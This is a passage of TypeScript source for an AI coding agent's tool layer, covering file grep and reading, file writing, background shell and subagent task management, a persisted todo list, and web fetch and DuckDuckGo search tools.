(!st) {\n continue;\n }\n if (st.size > MAX_FILE_BYTES) {\n skippedLarge += 1;\n continue;\n }\n let buf: Buffer;\n try {\n buf = await readFile(file.abs);\n } catch {\n continue;\n }\n if (buf.includes(0)) {\n continue;\n }\n const lines = buf.toString(\"utf8\").split(\"\\n\");\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i] ?? \"\";\n if (re.test(line)) {\n const shown = line.length > MAX_LINE_CHARS ? `${line.slice(0, MAX_LINE_CHARS)}…` : line;\n out.push(`${file.rel}:${i + 1}:${shown}`);\n if (out.length >= MAX_MATCHES) {\n truncated = true;\n break outer;\n }\n }\n }\n }\n const skippedNote =\n skippedLarge > 0 ? `(skipped ${skippedLarge} file(s) larger than 5MB)` : null;\n if (out.length === 0) {\n return {\n content: `No matches for pattern: ${args.pattern}${skippedNote ? ` ${skippedNote}` : \"\"}`,\n };\n }\n if (truncated) {\n out.push(`... (truncated: more than ${MAX_MATCHES} matches)`);\n }\n if (skippedNote) {\n out.push(`... ${skippedNote}`);\n }\n return { content: out.join(\"\\n\") };\n },\n};\n","import { open, stat } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport { isSensitivePath } from \"./util\";\n\nconst DEFAULT_LIMIT = 2000;\nconst MAX_CHARS = 100 * 1024;\n// Output is capped at 100KB anyway, so reading past 1MB can never be shown.\nconst MAX_READ_BYTES = 1024 * 1024;\nconst BINARY_PROBE_BYTES = 8192;\n\nfunction decodeUtf16be(buf: Buffer): string {\n const len = buf.length - (buf.length % 2);\n const swapped = Buffer.allocUnsafe(len);\n for (let k = 0; k < len; k += 2) {\n swapped[k] = buf[k + 1] ?? 0;\n swapped[k + 1] = buf[k] ?? 0;\n }\n return swapped.toString(\"utf16le\");\n}\n\n// A UTF-16 BOM means the file is text (its NUL bytes are expected); without a\n// BOM, a NUL in the first 8KB marks a binary file.\nfunction decodeTextBuffer(buf: Buffer): { text: string } | { binary: true } {\n if (buf.length >= 2 && buf[0] === 0xff && buf[1] === 0xfe) {\n return { text: buf.subarray(2).toString(\"utf16le\") };\n }\n if (buf.length >= 2 && buf[0] === 0xfe && buf[1] === 0xff) {\n return { text: decodeUtf16be(buf.subarray(2)) };\n }\n if (buf.subarray(0, BINARY_PROBE_BYTES).includes(0)) {\n return { binary: true };\n }\n return { text: buf.toString(\"utf8\") };\n}\n\nconst schema = z.object({\n path: z.string().describe(\"File path, absolute or relative to the working directory\"),\n offset: z\n .number()\n .int()\n .positive()\n .optional()\n .describe(\"1-based line number to start reading from\"),\n limit: z\n .number()\n .int()\n .positive()\n .optional()\n .describe(\"Maximum number of lines to read (default 2000)\"),\n});\n\nexport const readFileTool: Tool<typeof schema> = {\n name: \"read_file\",\n description:\n \"Read a text file and return its contents with line numbers. Output is truncated to 2000 lines or 100KB by default.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n const filePath = path.resolve(ctx.cwd, args.path);\n if (isSensitivePath(filePath)) {\n return { content: `Refused to read sensitive file: ${args.path}`, isError: true };\n }\n const st = await stat(filePath).catch(() => null);\n if (!st) {\n return { content: `File not found: ${args.path}`, isError: true };\n }\n if (st.isDirectory()) {\n return { content: `Path is a directory, not a file: ${args.path}`, isError: true };\n }\n const bytesToRead = Math.min(st.size, MAX_READ_BYTES);\n const fileCapped = st.size > MAX_READ_BYTES;\n const handle = await open(filePath, \"r\").catch(() => null);\n if (!handle) {\n return { content: `Failed to read ${args.path}`, isError: true };\n }\n let buf: Buffer;\n try {\n const { bytesRead, buffer } = await handle.read(Buffer.alloc(bytesToRead), 0, bytesToRead, 0);\n buf = buffer.subarray(0, bytesRead);\n } finally {\n await handle.close().catch(() => {});\n }\n const decoded = decodeTextBuffer(buf);\n if (\"binary\" in decoded) {\n return { content: `Cannot read binary file: ${args.path}`, isError: true };\n }\n const lines = decoded.text.split(\"\\n\");\n const totalDesc = fileCapped ? `at least ${lines.length}` : `${lines.length}`;\n const start = args.offset ?? 1;\n const limit = args.limit ?? DEFAULT_LIMIT;\n if (start > lines.length) {\n return { content: `(offset ${start} beyond end of file; file has ${totalDesc} lines)` };\n }\n const end = Math.min(lines.length, start - 1 + limit);\n const out: string[] = [];\n let size = 0;\n let truncatedBySize = false;\n for (let i = start - 1; i < end; i++) {\n const line = (lines[i] ?? \"\").replace(/\\r$/, \"\");\n const numbered = `${i + 1}\\t${line}`;\n if (size + numbered.length > MAX_CHARS) {\n truncatedBySize = true;\n break;\n }\n out.push(numbered);\n size += numbered.length;\n }\n const lastShown = start - 1 + out.length;\n if (truncatedBySize) {\n out.push(\n `... (truncated: output exceeds 100KB, showing lines ${start}-${lastShown} of ${totalDesc})`,\n );\n } else if (end < lines.length || fileCapped) {\n out.push(`... (truncated: showing lines ${start}-${end} of ${totalDesc})`);\n }\n return { content: out.join(\"\\n\") };\n },\n};\n","import { mkdir, writeFile } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport { captureSnapshot, pushSnapshot } from \"./snapshots\";\n\nconst schema = z.object({\n path: z.string().describe(\"File path, absolute or relative to the working directory\"),\n content: z.string().describe(\"Full content to write to the file\"),\n});\n\nexport const writeFileTool: Tool<typeof schema> = {\n name: \"write_file\",\n description:\n \"Write content to a file, creating parent directories as needed. Overwrites existing files.\",\n permission: \"write\",\n parameters: schema,\n async execute(args, ctx) {\n const filePath = path.resolve(ctx.cwd, args.path);\n const snapshot = await captureSnapshot(filePath, \"write_file\", ctx.snapshotContext);\n try {\n await mkdir(path.dirname(filePath), { recursive: true });\n await writeFile(filePath, args.content, \"utf8\");\n } catch (err) {\n return { content: `Failed to write ${args.path}: ${(err as Error).message}`, isError: true };\n }\n await pushSnapshot(snapshot);\n return { content: `Wrote ${Buffer.byteLength(args.content, \"utf8\")} bytes to ${args.path}` };\n },\n};\n","import { z } from \"zod\";\nimport { type AgentTaskSnapshot, defaultAgentTasks } from \"../agent/agent-tasks\";\nimport { formatDuration, formatTaskLine, formatTaskList } from \"../tasks/format\";\nimport { defaultTaskManager } from \"../tasks/manager\";\nimport { MAX_OUTPUT } from \"./bash\";\nimport type { Tool } from \"./types\";\n\nconst idSchema = z.object({\n id: z.string().describe(\"Task id, e.g. task-1 or agent-1\"),\n});\n\n// Aligns with the foreground bash output cap: keep the tail, note the cut.\nfunction truncateOutput(s: string): string {\n if (s.length <= MAX_OUTPUT) return s;\n return `[... earlier output truncated; showing the last ${MAX_OUTPUT} characters ...]\\n${s.slice(-MAX_OUTPUT)}`;\n}\n\nfunction formatAgentTaskLine(task: AgentTaskSnapshot): string {\n const duration = formatDuration(task.startedAt, task.endedAt);\n const label = task.description ?? task.prompt.slice(0, 60);\n const status =\n task.status === \"running\" ? `running ${duration}` : `${task.status} after ${duration}`;\n return `${task.id} [${status}] ${label}`;\n}\n\nexport const taskListTool: Tool = {\n name: \"task_list\",\n description: \"List background tasks (shell commands and subagents) with status and runtime.\",\n permission: \"read\",\n parameters: z.object({}),\n execute() {\n const shell = formatTaskList(defaultTaskManager.list());\n const agents = defaultAgentTasks.list();\n const agentLines =\n agents.length === 0\n ? \"No background subagents.\"\n : `Background subagents:\\n${agents.map(formatAgentTaskLine).join(\"\\n\")}`;\n return Promise.resolve({ content: `${shell}\\n${agentLines}` });\n },\n};\n\nexport const taskOutputTool: Tool<typeof idSchema> = {\n name: \"task_output\",\n description:\n \"Read the current output of a background task (shell command or subagent; works while still running).\",\n permission: \"read\",\n parameters: idSchema,\n execute(args) {\n const shell = defaultTaskManager.get(args.id);\n if (shell) {\n const body = truncateOutput(shell.output.replace(/\\s+$/, \"\") || \"(no output yet)\");\n return Promise.resolve({ content: `${formatTaskLine(shell)}\\n${body}` });\n }\n const agent = defaultAgentTasks.get(args.id);\n if (agent) {\n const body =\n agent.status === \"running\"\n ? \"(still running)\"\n : truncateOutput(agent.result.replace(/\\s+$/, \"\") || \"(no report)\");\n return Promise.resolve({ content: `${formatAgentTaskLine(agent)}\\n${body}` });\n }\n return Promise.resolve({ content: `Unknown task: ${args.id}`, isError: true });\n },\n};\n\nexport const taskKillTool: Tool<typeof idSchema> = {\n name: \"task_kill\",\n description: \"Stop a running background task (shell command process tree or subagent).\",\n permission: \"exec\",\n parameters: idSchema,\n execute(args) {\n const shell = defaultTaskManager.get(args.id);\n const agent = shell ? undefined : defaultAgentTasks.get(args.id);\n const task = shell ?? agent;\n if (!task) {\n return Promise.resolve({ content: `Unknown task: ${args.id}`, isError: true });\n }\n if (task.status !== \"running\") {\n return Promise.resolve({\n content: `Task ${args.id} is not running (status: ${task.status}).`,\n isError: true,\n });\n }\n if (shell) {\n defaultTaskManager.kill(args.id);\n } else {\n defaultAgentTasks.kill(args.id);\n }\n return Promise.resolve({ content: `Task ${args.id} stopped.` });\n },\n};\n","import { EventEmitter } from \"node:events\";\n\nexport type AgentTaskStatus = \"running\" | \"completed\" | \"failed\" | \"stopped\";\n\nexport interface AgentTaskSnapshot {\n id: string;\n prompt: string;\n description?: string;\n status: AgentTaskStatus;\n startedAt: number;\n endedAt?: number;\n result: string;\n}\n\ninterface AgentTaskRecord {\n id: string;\n prompt: string;\n description?: string;\n status: AgentTaskStatus;\n startedAt: number;\n endedAt?: number;\n result: string;\n controller: AbortController;\n notified: boolean;\n}\n\n// Finished records are kept only so task_output can still answer for recent\n// tasks; once the parent has been notified they are dropped oldest-first\n// beyond this cap, so a long session cannot accumulate them without bound.\nconst MAX_FINISHED_RECORDS = 50;\n\n// Background subagent runs, mirroring src/tasks/manager.ts for shell tasks.\n// The payload is a promise-producing closure (a child AgentLoop) instead of\n// a child process; finished results are drained into the parent loop's\n// message stream at the next step boundary so the main agent learns\n// outcomes without polling, and are also surfaced to the UI via \"update\".\nexport class AgentTaskManager extends EventEmitter {\n private records = new Map<string, AgentTaskRecord>();\n private counter = 0;\n\n start(\n run: (signal: AbortSignal) => Promise<string>,\n meta: { prompt: string; description?: string },\n ): AgentTaskSnapshot {\n const id = `agent-${++this.counter}`;\n const rec: AgentTaskRecord = {\n id,\n prompt: meta.prompt,\n description: meta.description,\n status: \"running\",\n startedAt: Date.now(),\n result: \"\",\n controller: new AbortController(),\n notified: false,\n };\n this.records.set(id, rec);\n void run(rec.controller.signal)\n .then((result) => this.finish(rec, \"completed\", result))\n .catch((error) =>\n this.finish(rec, \"failed\", error instanceof Error ? error.message : String(error)),\n );\n this.emitUpdate(rec);\n return this.snapshot(rec);\n }\n\n get(id: string): AgentTaskSnapshot | undefined {\n const rec = this.records.get(id);\n return rec ? this.snapshot(rec) : undefined;\n }\n\n list(): AgentTaskSnapshot[] {\n return [...this.records.values()].map((rec) => this.snapshot(rec));\n }\n\n runningCount(): number {\n let count = 0;\n for (const rec of this.records.values()) {\n if (rec.status === \"running\") count += 1;\n }\n return count;\n }\n\n kill(id: string): AgentTaskSnapshot | undefined {\n const rec = this.records.get(id);\n if (!rec || rec.status !== \"running\") return undefined;\n rec.controller.abort();\n this.finish(rec, \"stopped\", rec.result || \"Stopped by user.\");\n return this.snapshot(rec);\n }\n\n cleanup(): AgentTaskSnapshot[] {\n const killed: AgentTaskSnapshot[] = [];\n for (const rec of this.records.values()) {\n if (rec.status === \"running\") {\n rec.controller.abort();\n this.finish(rec, \"stopped\", rec.result || \"Stopped on shutdown.\");\n killed.push(this.snapshot(rec));\n }\n }\n return killed;\n }\n\n // Finished tasks whose result has not yet been handed to the parent loop.\n drainNotifications(): AgentTaskSnapshot[] {\n const drained: AgentTaskSnapshot[] = [];\n for (const rec of this.records.values()) {\n if (rec.status !== \"running\" && !rec.notified) {\n rec.notified = true;\n drained.push(this.snapshot(rec));\n }\n }\n this.pruneFinished();\n return drained;\n }\n\n // Map iteration is insertion-ordered, so the first finished records met are\n // the oldest. Never drop an un-notified record: the parent has not seen its\n // result yet. Running records are untouched.\n private pruneFinished(): void {\n let finished = 0;\n for (const rec of this.records.values()) {\n if (rec.status !== \"running\") finished += 1;\n }\n let excess = finished - MAX_FINISHED_RECORDS;\n if (excess <= 0) return;\n for (const rec of this.records.values()) {\n if (excess <= 0) return;\n if (rec.status !== \"running\" && rec.notified) {\n this.records.delete(rec.id);\n excess -= 1;\n }\n }\n }\n\n private finish(rec: AgentTaskRecord, status: AgentTaskStatus, result: string): void {\n if (rec.status !== \"running\") return;\n rec.status = status;\n rec.result = result;\n rec.endedAt = Date.now();\n this.emitUpdate(rec);\n }\n\n private emitUpdate(rec: AgentTaskRecord): void {\n this.emit(\"update\", this.snapshot(rec));\n }\n\n private snapshot(rec: AgentTaskRecord): AgentTaskSnapshot {\n return {\n id: rec.id,\n prompt: rec.prompt,\n description: rec.description,\n status: rec.status,\n startedAt: rec.startedAt,\n endedAt: rec.endedAt,\n result: rec.result,\n };\n }\n}\n\nexport const defaultAgentTasks = new AgentTaskManager();\n\n// One-line REPL announcement for a task status change. A failure is the final\n// state after the child loop's own retries, so the reason (first line of the\n// failure report, which reads \"Subagent failed: <cause>\") is surfaced inline —\n// a bare \"failed\" looks like a transient hiccup even though the full report\n// has been delivered to the main agent, which decides how to recover.\nexport function formatAgentTaskUpdate(task: AgentTaskSnapshot): string {\n const label = task.description ? `: ${task.description}` : \"\";\n if (task.status === \"running\") {\n return `Background subagent ${task.id} started${label}`;\n }\n let text = `Background subagent ${task.id} ${task.status}${label}`;\n if (task.status === \"failed\") {\n const reason = (task.result.split(\"\\n\")[0] ?? \"\").replace(/^Subagent failed:\\s*/, \"\");\n if (reason) {\n text += ` — ${reason.length > 140 ? `${reason.slice(0, 140)}…` : reason}`;\n }\n }\n return text;\n}\n","import type { TaskSnapshot } from \"./manager\";\n\nexport function formatDuration(startedAt: number, endedAt?: number): string {\n const seconds = Math.max(0, Math.round(((endedAt ?? Date.now()) - startedAt) / 1000));\n if (seconds < 60) return `${seconds}s`;\n const minutes = Math.floor(seconds / 60);\n if (minutes < 60) return `${minutes}m${seconds % 60}s`;\n return `${Math.floor(minutes / 60)}h${minutes % 60}m`;\n}\n\nfunction formatStatus(task: TaskSnapshot): string {\n const duration = formatDuration(task.startedAt, task.endedAt);\n if (task.status === \"running\") return `running ${duration}`;\n const exit =\n task.exitCode === null || task.exitCode === undefined ? \"\" : `, exit ${task.exitCode}`;\n return `${task.status}${exit} after ${duration}`;\n}\n\nexport function formatTaskLine(task: TaskSnapshot): string {\n const label = task.description ? `${task.description} (${task.command})` : task.command;\n return `${task.id} [${formatStatus(task)}] ${label}`;\n}\n\nexport function formatTaskList(tasks: TaskSnapshot[]): string {\n if (tasks.length === 0) return \"No background tasks.\";\n return `Background tasks:\\n${tasks.map(formatTaskLine).join(\"\\n\")}`;\n}\n\nexport function formatTaskStarted(task: TaskSnapshot): string {\n const label = task.description ? `${task.description} (${task.command})` : task.command;\n return `Background task ${task.id} started: ${label}`;\n}\n\nexport function formatTaskFinished(task: TaskSnapshot): string {\n const exit =\n task.exitCode === null || task.exitCode === undefined ? \"\" : ` (exit ${task.exitCode})`;\n switch (task.status) {\n case \"completed\":\n return `Background task ${task.id} finished${exit}: ${task.command}`;\n case \"failed\":\n return `Background task ${task.id} failed${exit}: ${task.command}`;\n case \"timed_out\":\n return `Background task ${task.id} timed out: ${task.command}`;\n case \"stopped\":\n return `Background task ${task.id} stopped: ${task.command}`;\n default:\n return `Background task ${task.id}: ${task.command}`;\n }\n}\n","import { mkdir, readFile, rename, writeFile } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"./types\";\n\nexport interface TodoItem {\n id: number;\n title: string;\n status: \"pending\" | \"in_progress\" | \"done\";\n}\n\nconst todoItemSchema = z.object({\n id: z.number().int(),\n title: z.string(),\n status: z.enum([\"pending\", \"in_progress\", \"done\"]),\n});\n\nconst writeSchema = z.object({\n todos: z.array(todoItemSchema).describe(\"The full todo list, replacing the current one\"),\n});\n\nconst readSchema = z.object({});\n\nfunction fileFor(cwd: string): string {\n return path.join(cwd, \".star\", \"todos.json\");\n}\n\n// Wired by the agent loop to the permission mode: readonly/plan sessions\n// still keep the in-memory list but must not touch .star/todos.json.\nlet persistGuard: () => boolean = () => true;\n\nexport function setTodoPersistGuard(guard: () => boolean): void {\n persistGuard = guard;\n}\n\nexport class TodoStore {\n private items = new Map<number, TodoItem>();\n\n list(): TodoItem[] {\n return [...this.items.values()];\n }\n\n replace(items: TodoItem[]): void {\n this.items.clear();\n for (const item of items) {\n this.items.set(item.id, item);\n }\n }\n\n async load(cwd: string): Promise<void> {\n let raw: string;\n try {\n raw = await readFile(fileFor(cwd), \"utf8\");\n } catch {\n return;\n }\n try {\n const parsed: unknown = JSON.parse(raw);\n if (Array.isArray(parsed)) {\n this.replace(parsed.filter((it) => todoItemSchema.safeParse(it).success));\n }\n } catch {\n // corrupted file: keep current state\n }\n }\n\n // Atomic write (tmp + rename): a crash or failed save can never leave a\n // truncated todos.json behind.\n async save(cwd: string): Promise<void> {\n if (!persistGuard()) {\n return;\n }\n await mkdir(path.join(cwd, \".star\"), { recursive: true });\n const file = fileFor(cwd);\n const tmp = `${file}.tmp`;\n await writeFile(tmp, `${JSON.stringify(this.list(), null, 2)}\\n`);\n await rename(tmp, file);\n }\n}\n\nconst SYMBOLS: Record<TodoItem[\"status\"], string> = {\n pending: \"[ ]\",\n in_progress: \"[~]\",\n done: \"[x]\",\n};\n\nexport function formatTodos(items: TodoItem[]): string {\n if (items.length === 0) {\n return \"No todos.\";\n }\n const lines = items.map((it) => `${SYMBOLS[it.status]} ${it.id}. ${it.title}`);\n const width = Math.max(...lines.map((l) => l.length));\n return lines\n .map((line, i) => {\n const status = items[i]?.status;\n return status === \"pending\" ? line : `${line.padEnd(width + 4)}(${status})`;\n })\n .join(\"\\n\");\n}\n\nconst defaultStore = new TodoStore();\n\n// Full parsed list from a todo_write args payload, or null when malformed.\n// The REPL uses this to mirror the todo list next to the input box.\nexport function parseTodoArgs(args: unknown): TodoItem[] | null {\n const parsed = writeSchema.safeParse(args);\n return parsed.success ? parsed.data.todos : null;\n}\n\n// Titles of unfinished items from a todo_write args payload; [] when the\n// payload is malformed. Used by the agent loop to spot turns that end while\n// the model's own todo list still has open work.\nexport function pendingTodoTitles(args: unknown): string[] {\n return (parseTodoArgs(args) ?? []).filter((t) => t.status !== \"done\").map((t) => t.title);\n}\n\n// Load the persisted todo list for a cwd into the default store and return\n// it. Called only when the user explicitly continues a project (session\n// resume) — a fresh session never rehydrates stale todos on its own.\nexport async function loadTodos(cwd: string): Promise<TodoItem[]> {\n await defaultStore.load(cwd);\n return defaultStore.list();\n}\n\n// Clear the in-memory list without touching .star/todos.json — a new session\n// starts clean even when a previous session's list is still on disk.\nexport function resetTodos(): void {\n defaultStore.replace([]);\n}\n\nexport function createTodoTools(store: TodoStore = defaultStore): Tool[] {\n const todoWrite: Tool<typeof writeSchema> = {\n name: \"todo_write\",\n description:\n \"Replace the current todo list with the given items. Each item has an id, title, and status (pending, in_progress, done).\",\n permission: \"read\",\n parameters: writeSchema,\n async execute(args, ctx) {\n const parsed = writeSchema.safeParse(args);\n if (!parsed.success) {\n return { content: `Invalid todos: ${parsed.error.message}`, isError: true };\n }\n // Roll the in-memory list back when the save fails so memory and disk\n // never diverge silently.\n const previous = store.list();\n store.replace(parsed.data.todos);\n try {\n await store.save(ctx.cwd);\n } catch (err) {\n store.replace(previous);\n return { content: `Failed to save todos: ${(err as Error).message}`, isError: true };\n }\n const items = store.list();\n const done = items.filter((it) => it.status === \"done\").length;\n // The caller just supplied the list and the REPL mirrors it live, so a\n // compact confirmation is enough — echoing the whole list back would be\n // re-billed as prompt tokens on every following request.\n return { content: `Todo list updated (${done}/${items.length} done).` };\n },\n };\n\n const todoRead: Tool<typeof readSchema> = {\n name: \"todo_read\",\n description: \"Read the current todo list.\",\n permission: \"read\",\n parameters: readSchema,\n async execute() {\n // In-memory only: disk is hydrated explicitly on session resume, so a\n // fresh session's todo_read never resurrects the previous list.\n return { content: formatTodos(store.list()) };\n },\n };\n\n return [todoWrite, todoRead];\n}\n","import { z } from \"zod\";\nimport type { Tool } from \"../types\";\n\nconst DEFAULT_MAX_CHARS = 20000;\nconst MAX_BYTES = 2 * 1024 * 1024;\nconst TIMEOUT_MS = 30000;\n\nconst schema = z.object({\n url: z.string().describe(\"The http(s) URL to fetch\"),\n maxChars: z\n .number()\n .int()\n .positive()\n .optional()\n .describe(\"Maximum characters of text to return (default 20000)\"),\n});\n\n// String.fromCodePoint throws a RangeError on code points past U+10FFFF;\n// keep the original entity text for those instead of dying mid-page.\nfunction safeCodePoint(n: number, raw: string): string {\n if (!Number.isInteger(n) || n < 0 || n > 0x10ffff) {\n return raw;\n }\n return String.fromCodePoint(n);\n}\n\nexport function decodeEntities(s: string): string {\n return s\n .replace(/&#(\\d+);/g, (m, n) => safeCodePoint(Number(n), m))\n .replace(/&#x([0-9a-fA-F]+);/gi, (m, n) => safeCodePoint(Number.parseInt(n, 16), m))\n .replace(/&(quot|lt|gt|nbsp);/g, (m) => {\n switch (m) {\n case \""\":\n return '\"';\n case \"<\":\n return \"<\";\n case \">\":\n return \">\";\n case \" \":\n return \" \";\n default:\n return m;\n }\n })\n .replace(/&/g, \"&\");\n}\n\nfunction htmlToText(html: string): string {\n const noBlocks = html.replace(/<(script|style|noscript|template)\\b[^>]*>[\\s\\S]*?<\\/\\1>/gi, \" \");\n const withBreaks = noBlocks.replace(\n /<br\\s*\\/?>|<\\/(p|div|li|tr|h[1-6]|section|article|header|footer|blockquote|pre)>/gi,\n \"\\n\",\n );\n const stripped = decodeEntities(withBreaks.replace(/<[^>]+>/g, \" \"));\n return stripped\n .split(\"\\n\")\n .map((line) => line.replace(/\\s+/g, \" \").trim())\n .join(\"\\n\")\n .replace(/\\n{3,}/g, \"\\n\\n\")\n .trim();\n}\n\nasync function readBody(res: Response, maxChars: number): Promise<string> {\n if (!res.body) {\n return \"\";\n }\n const reader = res.body.getReader();\n const decoder = new TextDecoder(\"utf-8\");\n let bytes = 0;\n let text = \"\";\n try {\n for (;;) {\n const { done, value } = await reader.read();\n if (done) {\n break;\n }\n bytes += value.byteLength;\n text += decoder.decode(value, { stream: true });\n if (bytes >= MAX_BYTES || text.length >= maxChars * 2) {\n break;\n }\n }\n text += decoder.decode();\n } finally {\n reader.cancel().catch(() => {});\n }\n return text;\n}\n\nfunction truncate(s: string, maxChars: number): string {\n if (s.length <= maxChars) {\n return s;\n }\n return `${s.slice(0, maxChars)}\\n[truncated, showing first ${maxChars} of ${s.length} chars]`;\n}\n\nexport const webFetchTool: Tool<typeof schema> = {\n name: \"web_fetch\",\n description:\n \"Fetch a URL over http(s) and return its contents as readable text. HTML pages are converted to plain text (tags, scripts and styles removed). Output is truncated to maxChars (default 20000). Can reach internal/intranet addresses, so do not use it for untrusted URLs.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n let url: URL;\n try {\n url = new URL(args.url);\n } catch {\n return { content: `ERROR: invalid URL: ${args.url}`, isError: true };\n }\n if (url.protocol !== \"http:\" && url.protocol !== \"https:\") {\n return {\n content: `ERROR: only http(s) URLs are supported, got: ${url.protocol}`,\n isError: true,\n };\n }\n const maxChars = args.maxChars ?? DEFAULT_MAX_CHARS;\n const timeoutSignal = AbortSignal.timeout(TIMEOUT_MS);\n const signal = ctx.abortSignal\n ? AbortSignal.any([timeoutSignal, ctx.abortSignal])\n : timeoutSignal;\n let res: Response;\n try {\n res = await fetch(url, { signal, redirect: \"follow\" });\n } catch (err) {\n if (ctx.abortSignal?.aborted) {\n return { content: \"ERROR: request aborted\", isError: true };\n }\n if (timeoutSignal.aborted) {\n return { content: `ERROR: request timed out after ${TIMEOUT_MS / 1000}s`, isError: true };\n }\n const message = err instanceof Error ? err.message : String(err);\n return { content: `ERROR: failed to fetch ${args.url}: ${message}`, isError: true };\n }\n if (!res.ok) {\n await res.body?.cancel().catch(() => {});\n return {\n content: `ERROR: HTTP ${res.status} ${res.statusText} for ${args.url}`,\n isError: true,\n };\n }\n const [rawType = \"\"] = (res.headers.get(\"content-type\") ?? \"text/plain\").split(\";\");\n const contentType = rawType.trim().toLowerCase();\n const isHtml = contentType === \"text/html\" || contentType === \"application/xhtml+xml\";\n const isText =\n contentType.startsWith(\"text/\") ||\n contentType === \"application/json\" ||\n contentType === \"application/xml\" ||\n contentType.endsWith(\"+json\") ||\n contentType.endsWith(\"+xml\");\n if (!isHtml && !isText) {\n await res.body?.cancel().catch(() => {});\n return {\n content: `ERROR: unsupported content type: ${contentType} (${args.url})`,\n isError: true,\n };\n }\n let body: string;\n try {\n body = await readBody(res, maxChars);\n } catch (err) {\n const message = err instanceof Error ? err.message : String(err);\n return { content: `ERROR: failed to read response body: ${message}`, isError: true };\n }\n const text = isHtml ? htmlToText(body) : body;\n return { content: truncate(text, maxChars) };\n },\n};\n","import { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport { decodeEntities } from \"./fetch\";\n\nconst TIMEOUT_MS = 15000;\nconst DEFAULT_MAX_RESULTS = 5;\nconst MAX_RESULTS_LIMIT = 10;\nconst SEARCH_URL = \"https://html.duckduckgo.com/html/?q=\";\nconst USER_AGENT =\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\";\n\nconst schema = z.object({\n query: z.string().min(1).describe(\"The search query\"),\n maxResults: z\n .number()\n .int()\n .min(1)\n .max(MAX_RESULTS_LIMIT)\n .optional()\n .describe(\n `Maximum number of results to return (default ${DEFAULT_MAX_RESULTS}, max ${MAX_RESULTS_LIMIT})`,\n ),\n});\n\nexport interface SearchResult {\n title: string;\n url: string;\n snippet: string;\n}\n\nfunction stripTags(s: string): string {\n return decodeEntities(s.replace(/<[^>]+>/g, \" \"))\n .replace(/\\s+/g, \" \")\n .trim();\n}\n\nfunction normalizeUrl(href: string): string {\n const decoded = decodeEntities(href);\n const uddg = decoded.match(/[?&]uddg=([^&]+)/);\n if (uddg?.[1]) {\n try {\n return decodeURIComponent(uddg[1]);\n } catch {\n return decoded;\n }\n }\n if (decoded.startsWith(\"//\")) {\n return `https:${decoded}`;\n }\n return decoded;\n}\n\nexport function parseResults(html: string): SearchResult[] {\n const results: SearchResult[] = [];\n const anchorRe = /<a\\b[^>]*\\bclass\\s*=\\s*\"[^\"]*\\bresult__a\\b[^\"]*\"[^>]*>[\\s\\S]*?<\\/a>/gi;\n const anchors = [...html.matchAll(anchorRe)];\n for (const [i, anchor] of anchors.entries()) {\n const full = anchor[0];\n const hrefMatch = full.match(/href\\s*=\\s*\"([^\"]*)\"/i);\n if (!hrefMatch?.[1]) {\n continue;\n }\n const url = normalizeUrl(hrefMatch[1]);\n const title = stripTags(full.replace(/^<a\\b[^>]*>/i, \"\").replace(/<\\/a>\\s*$/i, \"\"));\n const blockStart = (anchor.index ?? 0) + full.length;\n const blockEnd = i + 1 < anchors.length ? (anchors[i + 1]?.index ?? html.length) : html.length;\n const block = html.slice(blockStart, blockEnd);\n const snippetMatch = block.match(\n /<(?:a|div)\\b[^>]*\\bclass\\s*=\\s*\"[^\"]*\\bresult__snippet\\b[^\"]*\"[^>]*>([\\s\\S]*?)<\\/(?:a|div)>/i,\n );\n const snippet = snippetMatch?.[1] ? stripTags(snippetMatch[1]) : \"\";\n if (title && url) {\n results.push({ title, url, snippet });\n }\n }\n return results;\n}\n\nexport const webSearchTool: Tool<typeof schema> = {\n name: \"web_search\",\n description:\n \"Search the web using DuckDuckGo and return a numbered list of results with title, URL and snippet. No API key required. Use web_fetch to read a result's full page.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n const maxResults = Math.min(args.maxResults ?? DEFAULT_MAX_RESULTS, MAX_RESULTS_LIMIT);\n const url = `${SEARCH_URL}${encodeURIComponent(args.query)}`;\n const timeoutSignal = AbortSignal.timeout(TIMEOUT_MS);\n const signal = ctx.abortSignal\n ? AbortSignal.any([timeoutSignal, ctx.abortSignal])\n : timeoutSignal;\n let res: Response;\n try {\n res = await fetch(url, {\n signal,\n redirect: \"follow\",\n headers: { \"user-agent\": USER_AGENT, accept: \"text/html\" },\n });\n } catch (err) {\n if (ctx.abortSignal?.aborted) {\n return { content: \"ERROR: request aborted\", isError: true };\n }\n const name = err instanceof Error ? err.name : \"\";\n if (timeoutSignal.aborted || name === \"TimeoutError\") {\n return { content: `ERROR: search timed out after ${TIMEOUT_MS / 1000}s`, isError: true };\n }\n const message = err instanceof Error ? err.message : String(err);\n return { content: `ERROR: search request failed: ${message}`, isError: true };\n }\n if (!res.ok) {\n await res.body?.cancel().catch(() => {});\n return {\n content: `ERROR: HTTP ${res.status} ${res.statusText} from DuckDuckGo`,\n isError: true,\n };\n }\n let html: string;\n try {\n html = await res.text();\n } catch (err) {\n const message = err instanceof Error ? err.message : String(err);\n return { content: `ERROR: failed to read search response: ${message}`, isError: true };\n }\n const results = parseResults(html).slice(0, maxResults);\n if (results.length === 0) {\n return {\n content: `ERROR: no results found for \"${args.query}\" (the response may have been blocked or the page layout changed)`,\n isError: true,\n };\n }\n const lines = results.map(\n (r, i) => `${i + 1}. ${r.title}\\n ${r.url}${r.snippet ? `\\n ${r.snippet}` : \"\"}`,\n );\n return { content: lines.join(\"\\n\") };\n },\n};\n","import { bashTool } from \"./bash\";\nimport { editFileTool } from \"./fs/edit\";\nimport { globTool } from \"./fs/glob\";\nimport { grepTool } from \"./fs/grep\";\nimport { readFileTool } from \"./fs/read\";\nimport { writeFileTool } from \"./fs/write\";\nimport { taskKillTool, taskListTool, taskOutputTool } from \"./tasks\";\nimport { type TodoStore, createTodoTools } from \"./todo\";\nimport type { Tool } from \"./types\";\nimport { webFetchTool } from 